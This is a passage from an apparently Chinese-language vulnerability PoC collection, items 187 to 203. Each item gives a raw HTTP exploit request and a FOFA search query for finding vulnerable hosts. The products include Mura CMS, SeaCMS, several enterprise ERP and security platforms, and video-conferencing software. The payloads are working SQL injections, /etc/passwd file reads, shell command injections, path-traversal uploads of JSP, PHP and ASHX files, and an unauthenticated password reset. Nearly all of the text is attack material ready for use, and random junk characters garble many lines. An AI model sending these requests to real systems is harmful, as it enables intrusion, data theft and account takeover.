& F* X. D( N1 e( J8 z6 n7 t% zAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
7 ~; B3 D/ N- b7 JConnection: close
% h0 ~9 q: |  g# ^1 JContent-Type: application/x-www-form-urlencoded
7 A) q. I4 J9 o+ H
9 L5 M+ J* N. e1 f& J6 kreq_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450

: D; }3 l' ?/ J! w
- v) `; j) k  r9 ~: _187. Mura CMS processAsyncObject SQL注入
" ?& h8 L& W" A5 XCVE-2024-32640
% W# A1 U5 x  F, q7 k* UFOFA："Mura CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded
) t/ U+ A: ^% _% E
( r2 J8 }/ |0 Q
5 z1 Z3 ]: L: j1 T$ r2 H9 Jobject=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1
# I3 X6 T- ^9 c: h% D: G3 a7 X

188. 叁体-佳会视频会议 attachment 任意文件读取
$ i& U, ^$ t8 D5 w% Lversion <= 3.9.7
1 q! a  f7 T2 [" h" _9 q8 ~# GFOFA：body="/system/get_rtc_user_defined_info?site_id"
8 ~2 _+ K, B# l6 [GET /attachment?file=/etc/passwd HTTP/1.1
& e: c/ K! [5 W+ uHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
- ]: k6 t; y; [Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
* _1 m- K2 m  Q: z' h+ VConnection: close
3 P& o( Q% [+ F) Y

189. 蓝网科技临床浏览系统 deleteStudy SQL注入
# r3 [+ U1 v2 t9 y/ ~) ~4 f- R! hFOFA：app="LANWON-临床浏览系统"
GET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
/ Z2 O' m6 |1 z- ^7 @Host: your-ip
, J0 C3 e8 Q) U: y' U. RUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
' [+ W; o* n& m& A9 U6 ?7 u, q7 RAccept-Language: zh-CN,zh;q=0.9
Connection: close
% z5 m. R$ P, ~  `% y

$ }- K7 B7 r' z: m190. 短视频矩阵营销系统 poihuoqu 任意文件读取
FOFA：title=="短视频矩阵营销系统"
POST /index.php/admin/Userinfo/poihuoqu HTTP/2
4 p; i+ U) L+ m: X+ dHost: your-ip
! V+ v4 E7 F; g% D' o- m- c& HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
0 t0 m* P, ]0 l$ R" {+ t- zAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
" L; t8 i& k5 T) {Accept-Language: zh-CN,zh;q=0.9
8 B" e- I9 @0 d! c) Y' [- u5 Z
poi=file:///etc/passwd

4 p8 e$ c* z9 I! q" i" _" X: ^
0 w2 Q1 O, [$ _4 f6 B191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
FOFA：body="/CDGServer3/index.jsp"
4 w7 j3 n  w4 B. h+ yPOST /CDGServer3/js/../NavigationAjax HTTP/1.1
$ ?/ m* u# o1 r: n2 c3 O$ d. xHost: your-ip
3 x" e6 x$ b' U/ E# k! bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
) {% ]8 c$ p7 mContent-Type: application/x-www-form-urlencoded
" g0 j+ y3 X; x
command=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=
" U5 [6 A. V: v& H
  f3 ^/ h& s- [) K( z
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
FOFA：title="用户登录_富通天下外贸ERP"
/ k+ L* \( C, U* t# G5 BPOST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
0 ^1 R* y. O( q- J' G0 |Content-Type: application/x-www-form-urlencoded


<% @ webhandler language="C#" class="AverageHandler" %>
7 ~1 O7 }& b7 R0 O5 A0 A  a- L  w. tusing System;
2 R. a$ B( W( d8 g& O  w% Musing System.Web;
& G' P. w. C9 k! A0 Q- lpublic class AverageHandler : IHttpHandler
{
public bool IsReusable
{ get { return true; } }
! t7 t: E4 U$ l. b' k% Y9 opublic void ProcessRequest(HttpContext ctx)
# s# b8 Z; G, q, @+ c. S* Y0 }{
7 W  E8 {5 v3 z/ Z" Cctx.Response.Write("test");
- H& ~  u$ G( I# k9 t% g+ N}
}


+ q( j6 {6 i" K# j, ^  S193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
FOFA：body="山石云鉴主机安全管理系统"
GET /master/ajaxActions/getTokenAction.php HTTP/1.1
Host:
Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
% X) z$ M& N3 r0 y4 ?
# Z/ R  O  F+ m1 z
POST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
- E' o$ _3 O: tUser-Agent: Mozilla/5.0
) R# X4 d5 {) w+ o- C( u% T  tAccept-Encoding: gzip, deflate
Accept: */*
& l. A* S" `5 G+ G. q1 @  Y1 xConnection: close
7 y( O" _  k& @1 ICookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
7 R5 i, h! T, b1 t  v* n# l
param=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')
* x( J  U+ `; u% l- e, n$ k( h

9 b9 P  Z8 C  Z5 z2 x3 |GET /master/img/config HTTP/1.1
Host:
" B! B) r0 k/ |* V# z% |User-Agent: Mozilla/5.0
/ w) @+ `/ ]$ Z0 c0 q* y! y% [% i) [
9 j2 s8 q3 w1 [+ k1 w: X
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
7 ?1 m6 O2 j2 Q$ M' zFOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在

POST /servlet/uploadAttachmentServlet HTTP/1.1
Host: host
" R/ y1 Q( `) M  V1 _0 V7 k% k# cUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
6 w4 ?, G7 ~6 R  U6 [& W+ V- WAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
/ y6 n2 P' x& ^Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
% n, s% v" p% I$ n9 p8 a0 iContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
2 y# c/ ^$ J6 y( a0 h3 B------WebKitFormBoundaryKNt0t4vBe8cX9rZk

2 @+ z: h1 M. b- z. b: _# u6 ~8 E: t/ R* [Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
3 M* E2 E; l1 U  h% ]! L3 m4 PContent-Type: text/plain
<% out.println("hello");%>
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"
{"iq":{"query":{"UpdateType":"mail"}}}
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--
) p0 O2 K' Q" H1 [

195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
FOFA：title=="飞鱼星企业级智能上网行为管理系统
/ K! }2 N1 i, z  J5 `1 H/ gPOST /send_order.cgi?parameter=operation HTTP/1.1
" T  K* K3 m' e2 qHost: 127.0.0.1
* j. Q0 b& s: aPragma: no-cache
, V/ m- g6 S3 ?0 H# A2 M% y3 t# |Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
8 X1 _, Q7 `5 f1 T. P2 D3 P: {Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
7 {( x# a( c: S4 M* W* M2 cConnection: close
$ c' s) x" C  P) `4 \Content-Type: application/x-www-form-urlencoded
4 I6 m8 g) G- f3 FContent-Length: 68
; _* R, f: S8 g: M) b% d+ v
{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}

" D2 i# d6 X8 N$ q/ B
- i5 F- h( L* i) y196. 河南省风速科技统一认证平台密码重置
FOFA：body="/cas/themes/zbvc/js/jquery.min.js"
POST /cas/userCtl/resetPasswordBySuper HTTP/1.1
* d6 P1 S1 b2 j' F% e5 V* d+ MUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/json;charset=UTF-8
( x1 X, U/ N4 `# F' {X-Requested-With: XMLHttpRequest
Host:
- x- c  _! S, a$ A: WAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
3 g. @3 g9 o- V4 |$ N8 VContent-Length: 45
Connection: close
- q; x( C& Q4 g4 k0 d
{"xgh":"test","newPass":"test666","email":""}
) Y7 H  A) I0 \' m1 A7 [

" r7 v) L2 c* u" ~$ ~4 r( g
; _9 m6 f9 j' z$ v. s5 s* _197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
FOFA：app="浙大恩特客户资源管理系统"
# \& ~* b; O" X4 LGET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
6 v) \& C. P% [  NAccept-Encoding: gzip, deflate
Connection: close

9 V1 |' {" S7 g
# n+ `5 A- B7 F- p- g
198.  阿里云盘 WebDAV 命令注入
5 s7 D  o7 S1 @8 FCVE-2024-29640
. _1 s, C, y7 V- ?3 nGET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
Cookie: sysauth=41273cb2cffef0bb5d0653592624cf64
- v% `5 h2 g9 q( {- `6 k1 Q/ |8 KAccept: */*
Accept-Encoding: gzip, deflate
1 v' j; ]' k1 a" d0 W/ }: XAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
* Y  b0 a) b4 j' i
+ i. S- V9 F, m  E" S
, a% `( |& o- T2 L0 o5 N, f4 O" n199. cockpit系统assetsmanager_upload接口 文件上传

1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
GET /auth/login?to=/ HTTP/1.1
. Y4 g5 c2 j1 T7 u! X5 K% `
' J( T  F1 @& {0 f1 E响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"

5 K/ P# W' }  ~# X2.使用刚才上一步获取到的jwt获取cookie：
- ^8 b7 N& j- }( g& ~& |7 |) k+ G
( J" A& W) Z9 [* w- \POST /auth/check HTTP/1.1
Content-Type: application/json

{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}

响应：200，返回值:
Set-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
Fofa：title="Authenticate Please!"
POST /assetsmanager/upload HTTP/1.1
, n+ q% ]" R0 M9 d% SContent-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
* I6 R; t' Q8 b: j# J7 gCookie: mysession=95524f01e238bf51bb60d77ede3bea92
$ ?0 ~" t7 a3 f' N* c
9 A  @4 F0 P8 i/ B* J- R-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="files[]"; filename="tttt.php"
- l# s1 M- p" a: W0 qContent-Type: text/php
& j5 B) ^3 D- B9 h
<?php echo "tttt";unlink(__FILE__);?>
-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="folder"
8 W# w$ G* r+ ~6 e0 N/ O% S; h
! i" k6 S5 D) j- r-----------------------------36D28FBc36bd6feE7Fb3--
9 E- l9 A$ U/ f1 \" i  k0 j+ s

/storage/uploads/tttt.php

200. SeaCMS海洋影视管理系统dmku SQL注入
FOFA：app="海洋CMS"
GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
+ J) L8 j) H/ a7 Z) YUpgrade-Insecure-Requests: 1
Cache-Control: max-age=0
0 M: {& U6 x' h. |$ DAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
* p4 d5 p- @/ w! z" L+ ~, F
) ^; F) ^( A+ k0 |1 S3 A
201. 方正全媒体新闻采编系统 binary SQL注入
FOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
5 h# S& i3 f6 ]POST /newsedit/newsplan/task/binary.do HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
8 n5 F- ^! [+ R. ^, @! c; EAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
4 G# K! L2 ~1 zConnection: close

TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1
( O3 r# v. M/ a  b2 y/ J  g- g4 [% @5 A
, K% u' |9 E- e+ m& p5 s) y
: r  X- X6 Z  z202. 微擎系统 AccountEdit任意文件上传
! `2 c# F0 m2 _1 E( [0 xFOFA：body="/Widgets/WidgetCollection/"
+ p  S: z& G" I0 n, S+ G获取__VIEWSTATE和__EVENTVALIDATION值
GET /User/AccountEdit.aspx HTTP/1.1
Host: 滑板人之家
0 w6 g1 Y  L" A9 QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
" D& c2 R6 M7 k) g9 `: TContent-Length: 0
. n3 o1 l7 {% J

替换__VIEWSTATE和__EVENTVALIDATION值
POST /User/AccountEdit.aspx HTTP/1.1
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687
- J; B* k7 J& Z; X
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__VIEWSTATE"
% w( ]7 A( U3 K
1 o9 G2 H. [5 u$ Y% ?5 X4 ___VIEWSTATE
-----------------------------786435874t38587593865736587346567358735687
; z7 {1 j/ j# [1 A5 e4 @Content-Disposition: form-data; name="__EVENTVALIDATION"
, L0 B& k# n8 f
__EVENTVALIDATION
7 A8 C0 I4 w5 R-----------------------------786435874t38587593865736587346567358735687
8 C& G" J% E" o6 U& z; S- `% ]' nContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
Content-Type: text/plain

$ x+ u& B% I4 k8 W! NHello World!
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"

' N; Y* l* S6 |上传图片
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"
  q+ t( G: J4 h" E7 T3 \
* j! c$ v' \' M6 z) e6 ^
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"
" ^, y; L2 {+ \8 a

-----------------------------786435874t38587593865736587346567358735687--

0 `+ \  u# ?" Q! m; y
3 m9 C& t, j+ F; J4 u$ C4 n/_data/Uploads/1123.txt

203. 红海云EHR PtFjk 文件上传
FOFA：body="RedseaPlatform"
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
Host: x.x.x.x
Accept-Encoding: gzip
  M+ Z, ~: I# V1 p* o, gUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
: I& z1 m1 N: V: fContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Length: 210

------WebKitFormBoundaryt7WbDl1tXogoZys4
" w) J3 ?" e, a- RContent-Disposition: form-data; name="fj_file"; filename="11.jsp"
) @% b5 ?! P# u: e* p( S" x5 JContent-Type:image/jpeg

<% out.print("hello,eHR");%>
, |; b9 e+ E' ?5 `& k% u* I7 D& r------WebKitFormBoundaryt7WbDl1tXogoZys4--
- s# o8 j. j4 |1 E" ^- f& R


4 s3 ]- F& S4 [1 B3 l* O$ ?: Z

. u* a9 N: l" i+ T; b: p7 d: x! A